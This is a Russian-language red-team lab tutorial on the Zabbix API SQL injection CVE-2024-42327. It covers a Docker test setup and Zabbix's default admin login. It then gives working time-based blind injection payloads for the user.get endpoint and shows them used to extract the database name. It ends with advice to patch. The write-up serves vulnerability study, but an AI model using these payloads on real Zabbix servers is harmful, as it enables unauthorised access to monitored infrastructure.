Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)
Введение
Zabbix — это система мониторинга, предназначенная для отслеживания состояния ИТ
-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени.
Для чего нужен:
- Мониторинг ресурсов:
CPU
, память, диски, сетевые интерфейсы. - Слежение за доступностью: Проверка работы сайтов, приложений, баз данных.
- Уведомления: Настройка алертов (
e-mail
,Telegram
,SMS
) при сбоях или достижении критических значений. - Сбор метрик: Анализ производительности и прогнозирование проблем.
- Автоматизация задач: Выполнение удалённых команд на серверах.
Zabbix
полезен для обеспечения стабильной работы инфраструктуры и быстрого реагирования на проблемы.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Об уязвимости
7 ноября 2024 года была выявлена критическая уязвимость в Zabbix
с CVSS-оценкой 9.9, представляющая собой SQL
-инъекцию в одном из эндпоинтов API
Zabbix
. Уязвимость позволяет атакующему, имеющему доступ к API
, выполнить произвольные SQL
-запросы. При определённых настройках Zabbix
, которые разрешают удалённое выполнение команд через агентов, эта уязвимость может быть использована для полной компрометации инфраструктуры, находящейся под мониторингом Zabbix
.
Уязвимости подвержены следующие версии Zabbix Frontend
:
6.0.0 - 6.0.31 / 6.0.32rc1 6.4.0 - 6.4.16 / 6.4.17rc1 7.0.0 / 7.0.1rc1
SQL-инъекция — это тип уязвимости в приложениях, при которой злоумышленник может вставить вредоносные SQL-запросы в строку запроса к базе данных. Это может позволить ему получить несанкционированный доступ к данным, изменить их, удалить или выполнить другие вредоносные операции, такие как обход аутентификации или управление системой. SQL-инъекции часто возникают из-за недостаточной валидации входных данных.
Подготовка тестового окружения
Для развертывания стенда будет использована виртуальная машина с операционной системой Debian
, на которой Zabbix
версии 6.0.30
будет развернут в Docker
контейнере. Установка будет производиться с использованием следующих команд:
sudo apt install docker.io docker-compose # установка Docker и docker-compose nano docker-compose.yaml
После выполнения этих команд откроется текстовый редактор с файлом docker-compose.yaml
, в который необходимо внести следующее содержимое:
version: '3.5' services: zabbix-db: image: mysql:8.0-oracle container_name: zabbix-db environment: MYSQL_DATABASE: zabbix MYSQL_USER: zabbix MYSQL_PASSWORD: zabbix_password MYSQL_ROOT_PASSWORD: root_password volumes: - zabbix-db-data:/var/lib/mysql restart: unless-stopped zabbix-server: image: zabbix/zabbix-server-mysql:ubuntu-6.0.30 container_name: zabbix-server environment: DB_SERVER_HOST: zabbix-db MYSQL_DATABASE: zabbix MYSQL_USER: zabbix MYSQL_PASSWORD: zabbix_password depends_on: - zabbix-db ports: - "10051:10051" restart: unless-stopped zabbix-web: image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.30 container_name: zabbix-web environment: DB_SERVER_HOST: zabbix-db MYSQL_DATABASE: zabbix MYSQL_USER: zabbix MYSQL_PASSWORD: zabbix_password PHP_TZ: Europe/Moscow depends_on: - zabbix-server ports: - "8080:8080" restart: unless-stopped zabbix-agent: image: zabbix/zabbix-agent:ubuntu-6.0.30 container_name: zabbix-agent environment: ZBX_SERVER_HOST: zabbix-server depends_on: - zabbix-server restart: unless-stopped volumes: zabbix-db-data:
Теперь для запуска Zabbix
достаточно выполнить команду из каталога, содержащего файл docker-compose.yaml
:
sudo docker-compose up -d
Веб-интерфейс Zabbix
стал доступен по адресу: http://127.0.0.1:8080:
Также обратите внимание, что Zabbix можно установить с помощью официальных Docker контейнеров. Они доступны для скачивания на GitHub.
Подготовка условий для эксплуатации уязвимости
Для эксплуатации уязвимости необходим пользовательский аккаунт с доступом к API
. Для демонстрации создадим аккаунт с минимальными правами, но доступом к API
. Создать пользователя можно в разделе Administration -> Users
:
Стандартные админские учётные данные Zabbix:Логин: AdminПароль: zabbix
Создадим учетную запись giscyber
и назначим специальную роль для этой учетной записи в разделе Administration -> User roles
. Роль будет настроена с минимальными привилегиями и доступом к API
:
Для получения токена сессии отправьте POST
запрос с логином и паролем пользователя к API Zabbix
:
Получив сессионный ключ, можно приступить к эксплуатации уязвимости.
Эксплуатация уявзимости
Эндпоинт users.get
, доступный любому пользователю Zabbix
с доступом к API
, уязвим к Time-based Blind SQL injection
. Для проверки уязвимости можно отправить следующий запрос на /api_jsonrpc.php
:
{ "jsonrpc": "2.0", "method": "user.get", "params": { "selectRole": [ "roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))" ], "userids": [ "1", "2" ] }, "id": 1, "auth": "**ЗДЕСЬ ИСПОЛЬЗУЕТСЯ ПОЛУЧЕННЫЙ РАНЕЕ СЕССИОННЫЙ КЛЮЧ**" }
SQL инъекция — это атака, при которой злоумышленник вводит вредоносный SQL код в приложение для доступа или изменения данных в базе данных.
Time-based SQL инъекция — это тип атаки, при котором злоумышленник использует функцию паузы в SQL запросе, чтобы проверить наличие определенных условий путем измерения времени ответа сервера.
Как видно, в данном запросе используется встроенная в MySQL
функция SLEEP()
, которая вызывает паузу на заданное внутри скобок количество секунд. Отправив запрос, можно убедиться, что ответ сервера занимает ровно 5 секунд, что подтверждает уязвимость к Time-based blind SQL injection
:
Для демонстрации возможной пользы уязвимости воспользуемся следующей нагрузкой, чтобы извлечь название базы данных, с которой работает Zabbix
.
AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')
Для начала необходимо выяснить сколько символов в названии базы данных, для этого добавляем символ _
в нагрузку пока приложение не ответит с задержкой >= 5
секундам. Для тестовой конфигурации нагрузка отработала при 6 символах _
, значит имя базы данных содержит ровно 6 символов:
Выделим 1 символ _
и отправим его в Intruder Burp Suite
, затем выберем режим Brute forcer
для перебора первого символа имени базы данных:
Сортируем по времени ответы сервера и узнаём, что первая буква в имени базы данных - z
:
Проделав такие манипуляции для всех символов, выясняем что имя БД - "zabbix":
Вывод
С помощью Time-based SQL
-инъекции злоумышленник может получить доступ к более привилегированным учетным записям Zabbix
, что создает угрозу компрометации всей инфраструктуры, находящейся под наблюдением агентов Zabbix
.
Это делает уязвимость особенно серьезной, что подтверждается высоким рейтингом CVSS
.
В связи с этим крайне рекомендуется устанавливать самые последние версии программного обеспечения, в которых выпущены соответствующие патчи для устранения данной уязвимости.